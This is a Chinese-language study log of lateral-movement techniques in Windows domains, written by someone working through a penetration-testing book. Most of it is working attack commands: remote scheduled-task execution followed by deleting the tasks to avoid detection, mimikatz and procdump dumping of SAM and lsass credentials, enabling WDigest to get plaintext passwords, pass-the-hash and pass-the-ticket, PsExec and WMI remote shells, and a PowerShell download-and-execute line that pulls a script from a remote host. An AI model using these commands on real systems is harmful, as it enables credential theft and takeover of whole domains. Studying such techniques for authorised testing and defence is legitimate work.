攻击者利用该技术,以被攻陷的系统作为跳板,访问域内其他主机,获得更多的资产,最终获得域控的访问权限。
获得目标主机的明文密码。
共享“命名管道”的资源,为实现进程间通信而开放的命名管道。
简单来说,就是使用该命令,就可以访问目标主机的文件,进行下载、上传等操作,还能进行其他命令。
(1)139、445端口开启。
139端口是为“NetBIOS Session Service”提供的,主要用于提供Windows文件和打印机共享以及Unix中的Samba服务。
445端口可以在局域网中访问各种共享文件夹或共享打印机。
(2)管理员开启了默认共享
参考链接:windows打开和关闭默认共享方法汇总
首先建立一个ipc$(目标主机ip:192.168.100.100
):
net use \\目标IP\ipc$ "目标主机密码" /user:用户(administrator)
列出目标主机运行的进程。
参数:
/S
/U
/P
at命令可以用来创建计划任务。
at命令使用流程如下:
1.查看目标主机当前时间:
2.上传本地的bat文件到目标主机:
3.使用at命令创建计划任务:
然后等待执行。
4.清除记录:
计划任务不会在执行后自动删除,为了避免攻击被发现,所以要手动进行删除。
5 是创建计划任务时的ID号。
利用at进行远程命令执行,并写入文本
使用 type 进行查看:
Windows Vista 、Windows Server 08之后at命令被废弃。使用schtasks代替at命令。
使用方法:
创建一个名称为test的计划任务:
schtasks /create /s 192.168.100.100 /tn test /sc onstart /tr c:\1.bat /ru system /f
执行计划:
schtasks /run /s 192.168.100.100 /i /tn "test"
删除任务:
schtasks /delete /s 192.168.100.100 /tn "test" /f
权限为system,Windows系统的安全验证信息都保存在SAM中,SAM文件位置为 C:\Windows\System\config
下载地址:GetPassword_x64
在本机上使用时(win10),会出现如下错误:
可以通过彩虹表进行破解,无法破解时通过hash传递进行横向移动。
使用方法:
QuarksPwDump.exe --dump-hash-local
首先导出SAM文件:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
使用mimikatz进行读取,将导出的SAM文件放入mimikatz工具目录中(在mimikatz目录中开启命令行执行reg命令):
开启miimkatz工具:
执行:
lsadump::sam /sam:sam.hive /system:system.hive
前一种方式是导出了SAM文件进行抓取,这次通过mimikatz工具直接进行抓取。
privilege::debug #提升权限
token::elevate #提升至system权限
lsadump::sam #抓取
privilege::debug
log
sekurlsa::logonpasswords
在任务管理器中,对该进程进行转存:
使用Procdump进行导出:
procdump是微软发布的工具,所以不会被拦截。
输入命令:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
将该文件放入mimiktaz工具目录中(或使用绝对路径),进行加载:
sekurlsa::minidump 文件
sekurlsa::logonpasswords full
为了防止密码明文泄露,微软发布了补丁KB2871997,关闭了Wdigest功能,Windows Server 2012以上默认关闭了该功能(所以之前会出错)
当注册表中Wdigest为1时,攻击者可以获取到明文密码,所以为了安全,确保其值为0。
开启和关闭wdigest的命令:
reg add HKLM\SYSTEM\CurrentControlset\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f # 关闭为0
PowerShell:
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolset\Control\SecureityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1 # 关闭为0
获取主机的密码hash值(通常为NTLM Hash)。在与环境中,每一台主机的管理员账号和密码大概率会使用相同的账号密码(方便管理),所以攻击者就可以通过传递hash值来登录内网的其他主机,并且,通过hash传递不需要获得明文密码。
在Windows Server 2012 R2及之后版本中,计算机内存不再记录明文密码,所以攻击者会通过传递hash值进行登录验证。
获取hash值后,以管理员身份运行mimikatz:
然后,输入命令,传递hash:
sekurlsa::pth /user administrator /domain:域名 /ntlm:ntlm hash 值
首先获取AES-256密钥:
sekurlas::ekeys
sekurlsa::pth /user administrator /domain:域名 /aes256:aes256 值
其余步骤与NTLM传递相同。
需要注意的是,使用aes256进行传递时,目标主机必须安装了KB2871997补丁才可以。
使用mimikatz进行传递时,不需要本地管理员权限(system)。
首先将内存中票据导出:
privilege::debug
sekurlas::tickets /export
使用mimikatz,至少是administrator权限,不能是administrator组用户权限。
导出票据后,清空票据列表:
kerberos::purge
kerberos::ptt "票据"
访问远程主机目录:
遇到的问题:切换administrator打开cmd时,我也忘记了是不是没有把administrator放到域环境中,总之打不开,只能用system权限打开mimikatz,导出票据。
下载地址:https://github.com/gentilkiwi/kekeo/releases
使用条件:域名、用户名、NTLM Hash。
NTLM Hash 获取的方式前面已经列出了。
首先,生成票据文件:
tgt::ask /user: /domain: /ntlm:
清空缓存票据,导入票据即可:
kerberos::purge // 清除内存中的其他票据
kerberos::ptt 票据 // 导入票据
下载地址:PSTools
使用该工具,可以在远程主机上执行命令,也可以将管理员权限提升至system权限。
在建立 ipc$ 的条件下,执行以下命令,获得system权限的shell:
PsExec.exe -accepteula \\192.168.100.100 -s cmd.exe
此时获取的是本地的system权限的shell(书上说要建立ipc$,但是我做的时候并没有建立,只有和vmware连接,这个也可以吗??)
获得远程主机的shell:
PsEcec.exe \\192.168.100.100(远程主机ip) -u 用户名 -p 密码 -i cmd.exe
使用的模块:
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh (PowerShell版)
msf使用就不说了,查看需要配置的选项,进行设置,exploit:
wmiexec在进行横向移动时,不会被记录在日志中。
在远程主机上执行命令,并将结果输入到文本中:
wmic /node:192.168.100.100 /user:xxx /password:xxx process call create "cmd.exe /c ipconfig >C:\ip.txt"
因为wmic命令没有回显,所以需要通过ipc$和type进行读取。
下载impacket工具包:https://codeload.github.com/SecureAuthCorp/impacket/zip/refs/heads/master
获取远程主机的shell:
这里注意,需要python3(反正python2错误),密码中含有特殊字符需要进行转义。
通过脚本调用WMI模拟PsExec。
该脚本在PowerSpolit工具包中,首先在工具包路径下开启http服务,然后在Windows操作系统中导入。
IEX(New-Object Net.Webclient).DownloadString('http://xxx.xxx.xxx.xxx/powersploit/CodeExecution/Invoke-WmiCommand.ps1') // 下载脚本并导入系统
//设置选项
$User = "域名\用户名"
$Password = ConvertTo-SecureString -String "密码" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入credential
$Remote = Invoke-WmiCommand -Payload {
要执行的命令} -Credential $Cred -ComputerName 目标IP
$Remote.PayloadOutput // 将执行结果输出到屏幕上
该工具可以通过文件共享在远程主机中执行命令。
Linux impacket工具包中smbexec.py
这里简单说一下,我在使用kali 2020 时,有一些python库需要安装,但是安装了好久都没有安装成功,无奈在kali 2018中安装了工具包。。。(太菜了)
安装步骤:
git clone https://github.com/brav0hax/smbexec.git
chmod +x install.sh
./install.sh
选则安装环境(根据自己的环境选择)
选择安装目录(默认/opt)
smbexec执行
具体使用方法就不说了。
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。通过DCOM,客户端程序对象能够像网络中的另一塔计算机上的服务器程序对象发送请求。
获取DCOM程序列表:
Get-CimInstance Win32_DCOMApplication //windows server 2012及以上版本
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication //win 7 win server 2008
使用DCOM执行命令:
启动管理员权限的PowerShell
在本地开启一个计算器:
$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","mimimzed")
在远程主机上执行命令
首先建立ipc$连接。
SPN是什么,能做什么,不进行叙述。
工具包下载:https://github.com/PyroTek3/PowerShell-AD-Recon
使用方法:唉 , 没执行出来。。。
唉 又没搞出来(>_<)
划
了解了一些内网横向移动中使用到的工具(好多都被杀了),巩固基础吧。
后面一些服务的应用需要其他服务的安装,所以就没有搞出来,那就多看看书吧。
最重要的一点:只是为了记录自己的学习过程,眼过千遍,不如手过一遍。
以上学习指导来自《内网安全攻防:渗透测试实战指南》